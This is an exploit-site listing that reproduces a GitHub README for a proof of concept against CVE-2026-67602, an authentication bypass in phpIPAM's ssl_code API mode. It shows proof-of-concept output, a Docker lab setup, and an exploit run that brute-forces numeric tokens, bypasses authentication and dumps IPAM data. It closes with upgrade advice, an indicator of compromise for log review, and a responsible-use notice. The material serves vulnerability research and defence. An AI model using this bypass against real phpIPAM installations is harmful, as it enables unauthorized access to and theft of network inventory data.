Sploitus

Exploit for CVE-2026-67602

githubexploit Β· 2026-08-27

Exploit Code

README55 lines
## https://sploitus.com/exploit?id=229AD960-7A7E-5E2D-A1D7-5DEBE35E681B
# CVE-2026-67602 β€” phpIPAM  row id=2, app_security=ssl_code
[2] fetch_object('api','app_code','2') (phpipam-token header) -> OBJECT (cache hit!)
[3] $app_id == $app_temp->app_id  ->  AUTHENTICATED

$ php poc_cache_collision.php fixed
[2] fetch_object('api','app_code','2') (phpipam-token header) -> false
[3] Response: 401 Unauthorized β€” token rejected
```

## 2. Live repro in Docker

```console
$ docker compose up -d
```

1. Browse to `http://localhost:8080/`, proceed to the installer
   (`http://localhost:8080/install/`), choose **Automatic database
   installation**, MySQL user `root` / password `phpipamAdminRoot`.
2. Log in (`admin` / `admin`), set a new admin password when prompted.
3. Create the API app: **Administration β†’ API Management** β†’ new:
   - Application name (`app_id`): `client`
   - Security: **API code (ssl_code)**
   - Permissions: **Read / Write / Delete**
4. phpIPAM generates a random 32-character application code. You do not need
   to copy it β€” that is the point of the bug.

Run the exploit (the `--xfp` flag satisfies the HTTPS check via
`X-Forwarded-Proto`, which the lab trusts):

```console
$ python3 exploit.py http://localhost:8080 --app-id client --xfp --dump
[*] Target: http://localhost:8080
[*] Brute-forcing numeric tokens (row ids) 1..64 for app_id='client'...
[+] AUTHENTICATION BYPASSED β€” phpipam-token: 1 is accepted
[+] The app's real 32-char app_code was never needed.
[+] GET /api/client/sections/ -> HTTP 200, 1 section(s) readable
[*] Dumping IPAM data...
```

## 3. Detection & remediation

- **Upgrade to phpIPAM 1.8.2 or later.** The fix keys the object cache by
  search column as well as value (commit `d29728f`).
- Until you upgrade, disable or reconfigure `ssl_code` API apps (other
  security modes are not affected by this cache collision).
- Check your web server / phpIPAM logs for requests to `/api//...`
  carrying a purely numeric `phpipam-token` header β€” legitimate tokens are
  32-character random strings, so numeric tokens are a high-fidelity IOC.
- Rotate API application codes and user tokens if exposure is suspected.

## Responsible use

This repository is for defensive research and authorized penetration testing
only. Only run it against systems you own or have written permission to test.